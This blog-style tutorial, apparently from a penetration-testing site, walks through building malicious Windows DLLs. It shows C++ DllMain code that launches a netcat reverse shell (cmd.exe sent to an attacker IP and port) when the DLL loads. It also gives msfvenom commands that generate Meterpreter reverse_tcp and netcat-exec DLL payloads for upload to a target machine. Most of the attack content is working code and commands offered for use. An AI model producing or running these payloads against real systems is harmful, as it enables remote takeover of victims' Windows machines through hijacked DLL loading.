DLL Shells

2 minute read

Quick post covering a few different ways to create and generate malcious DLLs for reverse/bind shells and for command execution.

DLL stands for Dynamic Link Library. It’s Microsofts version of a shared library for Windows operating systems. The Microsoft support best describe the purpose of DLLs:

A DLL is a library that contains code and data that can be used by more than one program at the same time. For example, in Windows operating systems, the Comdlg32 DLL performs common dialog box related functions. Therefore, each program can use the functionality that is contained in this DLL to implement an Open dialog box. This helps promote code reuse and efficient memory usage.

Many executables and Windows services rely on DLLs for specific functionality, this reliance in turn brings about the possibility to abuse and/or inject malicious DLLs into Windows services/binary paths. This means that when the program next runs, the malicious DLL is loaded by the application and subsequently run (executing our malicious code).


Visual Studio DLL


Visual Studio is great for writing, modifying, and compiling code for Windows. You can create DLLs in a variaty of languages, in this example I’ll be using C++.

Upon launching Visual Studio you want to click File -> New -> Project. This will present you with this window:


Select Visual C++ and then Windows Desktop, give it a name and click OK. The project will now be created, once it’s finished you’ll be presented with a screen like the following:


You’ll want to expand the Source Files tab on the right of the screen like so:


And then click on the dllmain.cpp file. The default code will look something like this:

// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

You want to add the stdlib header file and a system() command into the DLL with the command you wish to execute inside the parenthesis:

#include "stdafx.h"
#include <stdlib.h>

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    system("c:\\programdata\\nc.exe <ip> <port> -e cmd.exe");
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

You’ll want to change the release value for whichever architecture you’re targeting:


Press Ctrl+Shift+b to Build solution and you should see something like the following in the Output window at the bottom of the screen:

1>------ Build started: Project: example, Configuration: Debug x64 ------
1>dllmain.cpp
1>example.vcxproj -> C:\Users\New\source\repos\example\x64\Debug\example.dll
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========

The malicious DLL will be saved to the path specified in the output, you can then copy it back to your attacking host to upload to the target Windows machine for exploitation.


Msfvenom DLL


Msfvenom can be used to generate various different shells in the DLL format:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> -f dll > shell.dll

It can also be used to execute specific OS commands on the victim such as creating a new user/adding a user to the Administrators group, or to execute programs already present on the host:

# msfvenom -p windows/x64/exec cmd='C:\programdata\nc64.exe <lhost> <lport> -e cmd.exe' -f dll > nc.dll